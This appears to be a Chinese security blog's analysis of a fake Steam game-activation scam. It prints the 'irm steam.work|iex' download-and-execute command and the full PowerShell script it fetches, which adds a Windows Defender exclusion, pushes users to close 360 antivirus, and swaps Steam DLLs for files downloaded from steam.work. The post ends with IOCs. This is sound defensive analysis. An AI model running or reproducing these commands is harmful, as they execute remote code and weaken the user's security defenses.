
Steam游戏虚假入库
powershell样本详细分析
指令分析
商家给的powershell指令“irm steam.work|iex”,功能为从指定的URL(steam.work)获取内容,并将获取的内容作为PowerShell脚本执行。
“irm”是Invoke-RestMethod缩写,用于向RESTful API或Web服务发送HTTP和HTTPS请求,并处理响应。
“iex”是Invoke-Expression缩写,用于将通过管道“|”传递的字符串当作PowerShell命令或脚本来执行。
完整指令参数如下。
Invoke-RestMethod -Uri "http://steam.work" | Invoke-Expression
当用户运行“irm steam.work|iex”后,PowerShell将执行以下操作:
发送一个 HTTP GET请求至http://steam[.]work。
获取服务器返回的响应。
将响应内容解析为 PowerShell 对象(通常是 JSON 或 XML 格式)。
将解析后的对象作为命令执行,从而执行恶意的powershell功能代码。
powershell脚本分析
初次执行后将完成连续两次的链路下载,下载指令如下。
(irm steam.work) | Out-File -FilePath "D:\aha\steam_work.ps1"
irm steam.work/pwsDwFile/new -OutFile x.ps1
最终会获取一个powershell脚本。
脚本功能概述如下。
当前powershell脚本自删除
通过环境变量获取steam的安装路径
以管理员权限运行当前powershell脚本
检测和停止360安全卫士相关进程
核查steam安装路径,关闭steam进程
删除steam缓存路径
将steam路径添加至Windows Defender忽略项,不进行进行扫描和监控
删除Steam路径下的特定文件
从指定Url下载文件保存至指定路径,即破解包
启动Steam并等待用户输入cdk码
执行效果如图:
总的来说它确实是以破解为目的功能脚本,并无窃密、远控等行为,但它依然木马特征,无视了所有主机风险和玩家利益,简直是纯纯的恶心。
powershell脚本源码及详细功能注释如下
//powersehll脚本自删除
$filePathToDelete = Join-Path $env:USERPROFILE "x.ps1"
if (Test-Path $filePathToDelete) {
Remove-Item -Path $filePathToDelete
}
$desktopFilePathToDelete = Join-Path ([System.Environment]::GetFolderPath('Desktop')) "x.ps1"
if (Test-Path $desktopFilePathToDelete) {
Remove-Item -Path $desktopFilePathToDelete
}
# 访问注册表获取Steam安装路径
$steamRegPath = 'HKCU:\Software\Valve\Steam'
$localPath = -join ($env:LOCALAPPDATA,"\SteamActive")
# 检查注册表中是否存在Steam安装路径
if ((Test-Path $steamRegPath)) {
$properties = Get-ItemProperty -Path $steamRegPath
if ($properties.PSObject.Properties.Name -contains 'SteamPath') {
$steamPath = $properties.SteamPath
}
}
# 权限核查,若非管理员权限,以管理员权限重新打开PowerShell
if (-not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
Write-Host "[请重新打开PowerShell以管理员身份运行]" -ForegroundColor:red
exit
}
# 开始执行主功能函数
function PwStart() {
# 检查并停止360安全卫士相关进程
if(Get-Process "360Tray*" -ErrorAction Stop){
while(Get-Process 360Tray* -ErrorAction Stop){
Write-Host "[请先退出360安全卫士]" -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
# 检查并停止360杀毒相关进程
if(Get-Process "360sd*" -ErrorAction Stop)
{
while(Get-Process 360sd* -ErrorAction Stop){
Write-Host "[请先退出360杀毒]" -ForegroundColor:Red
Start-Sleep 1.5
}
PwStart
}
# 检查Steam是否正确安装,并且终止Steam相关进程
if ($steamPath -eq ""){
Write-Host "[请检查你的Steam是否正确安装]" -ForegroundColor:Red
exit
}
Write-Host "[ServerStart OK]" -ForegroundColor:green
Stop-Process -Name steam* -Force -ErrorAction Stop
Start-Sleep 2
if(Get-Process steam* -ErrorAction Stop){
TASKKILL /F /IM "steam.exe" | Out-Null
Start-Sleep 2
}
# 检查路径%appData%\Local\SteamActive路径是否存在,若不存在则创建该路径
if (!(Test-Path $localPath)) {
md $localPath | Out-Null
if (!(Test-Path $localPath)) {
New-Item $localPath -ItemType directory -Force | Out-Null
}
}
# 删除Steam缓存路径
$catchPath = -join ($steamPath,"\package\data")
if ((Test-Path $catchPath)) {
if ((Test-Path $catchPath)) {
Remove-Item $catchPath -Recurse -Force | Out-Null
}
}
# 将Steam添加至Windows Defender忽略路径,不会进行扫描和监控
try{
Add-MpPreference -ExclusionPath $steamPath -ErrorAction Stop
Start-Sleep 3
}catch{}
Write-Host "[Result->0 OK]" -ForegroundColor:green
# 递归删除Steam路径下的文件(version.dll、user32.dll、steam.cfg、hid.dll)。
try{
$d = $steamPath + "/version.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #删除文件
}
$d = $steamPath + "/user32.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #删除文件
}
$d = $steamPath + "/steam.cfg"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #删除文件
}
$d = $steamPath + "/hid.dll"
if (Test-Path $d) {
Remove-Item $d -Recurse -Force -ErrorAction Stop | Out-Null #删除文件
}
}catch{
Write-Host "异常保留请检查[$d]文件是否异常!]" -ForegroundColor:red
exit
}
# 从指定URL下载文件,替换之前删除的动态链接库。
$downloadData = "http://steam.work/pwsDwFile/bcfc1e52ca77ad82122dfe4c9560f3ec.pdf"
$downloadLink = "http://steam.work/pwsDwFile/9b96dac2bb0ba18d56068fabc5b17185.pdf"
irm -Uri $downloadLink -OutFile $d -ErrorAction Stop
Write-Host "[Result->1 OK]" -ForegroundColor:green
$d = $localPath + "/hid"
irm -Uri $downloadData -OutFile $d -ErrorAction Stop
Write-Host "[Result->2 OK]" -ForegroundColor:green
Start-Sleep 1
# 启动Steam,提示用户在Steam中输入验证码,3秒后自动关闭脚本
Start steam://
Write-Host "[连接服务器成功请在Steam输入验证码 3秒后自动关闭 ]" -ForegroundColor:green
Start-Sleep 3
$processID = Get-CimInstance Win32_Process -Filter "ProcessId = '$pid'"
Stop-Process -Id $processID.ParentProcessId -Force
exit
}
# 调用主功能函数
PwStart
.exe可执行文件分析
此外,通过开源威胁情报平台在此域名下找到了C++编译的木马样本,此样本实际上是使用C++代码,实现了与powershell脚本相同的功能。
为功能完全一致,功能也不复杂,这里就不在详细赘述,举例部分关键环节。
360杀软进程check
样本异或解密涉及字符,异或参数为动态的简单求和,例如解密杀毒软件字符信息“360Tray.exe”。
创建进程快照,遍历进程比较宽字符寻找“360Tray.exe”,获取其句柄,用于后续杀死安全软件进程。
解密cmd命令,调用TASKKILL杀死目标进程.
"cmd.exe /c TASKKILL /F /IM \"steam.exe\"
dll动态链接库删除
删除指定路径的文件。
http请求
下载指定资源替换之前删除的dll文件,即下载破解包用于激活。
http://steam【.】work:80/pwsDwFile/PSH
http://steam【.】work:80/pwsDwFile/hid
纯纯的黑产,并且相关订单数额大,受害者不在少数。如有政法单位的读者,我认为这是个工作思路甚至是直接绩效。
虽然没有远程控制的功能,但是实际上这些功能已经和木马无异,如果C2受挟持,或直接名目张胆开店,给买家链接下发远控木马。
大家在购买CDK时可以注意一下,如有中招,卸载重装。
IOC
steam.work
3fcf5d9db969f868d41561321b58423b
5e6069fb48130508a5f50beebc970085
b98a9f3e5e96b1d95284ed8071f23f20